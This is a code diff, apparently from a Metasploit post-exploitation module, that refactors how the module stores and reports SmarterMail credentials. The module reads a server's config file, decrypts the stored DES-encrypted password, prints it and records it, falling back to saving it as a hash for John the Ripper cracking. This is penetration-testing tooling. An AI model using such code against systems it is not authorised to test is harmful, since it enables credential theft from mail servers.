@@ -144,12 +144,12 @@ def get_smartermail_creds(path)
144
144
145
145
if password
146
146
begin
147
- result [ ' password' ] = decrypt_des ( Rex ::Text . decode_base64 ( password ) )
148
- result [ 'password_type' ] = :password
147
+ result [ : password] = decrypt_des ( Rex ::Text . decode_base64 ( password ) )
148
+ result [ :private_type ] = :password
149
149
rescue OpenSSL ::Cipher ::CipherError
150
- result [ ' password' ] = password
151
- result [ 'password_type' ] = :nonreplayable_hash
152
- result [ ' jtr_format' ] = 'des'
150
+ result [ : password] = password
151
+ result [ :private_type ] = :nonreplayable_hash
152
+ result [ : jtr_format] = 'des'
153
153
end
154
154
end
155
155
@@ -170,12 +170,12 @@ def report_cred(opts)
170
170
session_id : session_db_id ,
171
171
origin_type : :session ,
172
172
private_data : opts [ :password ] ,
173
- private_type : opts [ :password_type ] ,
173
+ private_type : opts [ :private_type ] ,
174
174
username : opts [ :user ]
175
175
}
176
176
177
- if opts [ 'password_type' ] == :nonreplayable_hash
178
- credential_data . merge! ( jtr_format : opts [ ' jtr_format' ] )
177
+ if opts [ :private_type ] == :nonreplayable_hash
178
+ credential_data . merge! ( jtr_format : opts [ : jtr_format] )
179
179
end
180
180
181
181
credential_data . merge! ( service_data )
@@ -201,15 +201,17 @@ def run
201
201
202
202
# retrieve username and decrypted password from config file
203
203
result = get_smartermail_creds ( config_path )
204
- if result [ ' password' ] . nil?
204
+ if result [ : password] . nil?
205
205
print_error "#{ peer } - Could not decrypt password string"
206
206
return
207
207
end
208
208
209
209
# report result
210
210
port = get_web_server_port || 9998 # Default is 9998
211
- user = result [ 'username' ]
212
- pass = result [ 'password' ]
211
+ user = result [ :username ]
212
+ pass = result [ :password ]
213
+ type = result [ :private_type ]
214
+ format = result [ :jtr_format ]
213
215
print_good "#{ peer } - Found Username: '#{ user } ' Password: '#{ pass } '"
214
216
215
217
report_cred (
@@ -218,7 +220,8 @@ def run
218
220
service_name : 'http' ,
219
221
user : user ,
220
222
password : pass ,
221
-
223
+ private_type : type ,
224
+ jtr_format : format
222
225
)
223
226
end
224
227
end
0 commit comments